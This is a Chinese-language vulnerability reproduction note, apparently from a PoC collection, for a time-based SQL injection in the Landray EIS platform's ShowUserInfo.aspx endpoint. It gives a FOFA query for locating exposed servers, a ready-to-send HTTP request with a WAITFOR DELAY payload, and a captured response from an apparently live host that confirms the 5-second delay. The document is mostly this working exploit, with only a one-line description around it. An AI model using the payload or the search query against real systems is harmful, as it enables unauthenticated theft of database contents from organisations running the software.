

L1-8蓝凌-EIS智慧协同平台-SQL

漏洞描述：

由于蓝凌EIS智慧协同平台 ShowUserInfo.aspx接口处未对用户输入的SQL语句进行过滤或验证导致出现SQL注入漏洞，未经身份验证的攻击者可以利用此漏洞获取数据库敏感信息。

影响版本：

- 蓝凌-EIS智慧协同平台

网站图片：

网络测绘：

fofa语法：

FOFA: app="Landray-EIS智慧协同平台"

漏洞复现：

payload:

```
GET /third/DingTalk/Demo/ShowUserInfo.aspx?account=1';WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
```

效果图:

延时5秒

Request

数据扫描

热加载

构造请求

1

GET /third/DingTalk/Demo/ShowUserInfo.aspx?account=1';WAITFOR+DELAY+'0:0:5'-- HTTP/1.1

2

Host: 5.82:88

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0

4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

5

Accept-Encoding: gzip, deflate, br

6

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

7

Connection: close

8

Upgrade-Insecure-Requests: 1

Responses

200 OK, 5051ms

1

HTTP/1.1 200 OK

2

Cache-Control: private

3

Content-Type: text/html; charset=utf-8

4

Vary: Accept-Encoding

5

Server: Microsoft-IIS/7.5

6

X-AspNet-Version: 2.0.50727

7

Set-Cookie: ASP.NET_SessionId=4y5w04vpcwe;

8

X-Powered-By: ASP.NET

9

MicrosoftSharePointTeamServices: 12.0.0.6

10

Date: Wed, 10 Jan 2024 09:59:51 GMT

11

Connection: close

12

Content-Length: 2983

13

14

15

16

<!DOCTYPE html>

17

18

<html xmlns="http://www.w3.org/1999/xhtml

19

<head><meta name="viewport" content="width

20

minimum-scale=1,user-scalable=no"/><meta

21

content="yes"/><meta name="apple-mobile-

22

content="black-translucent"/><meta name=

23

><meta name="format-detection" http-equiv

24

charset="utf-8"/><link href="/App Themes

25

rel="stylesheet" type="text/css"/><link

26

EISmobile.css?v=7.0.1.2" rel="stylesheet"

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100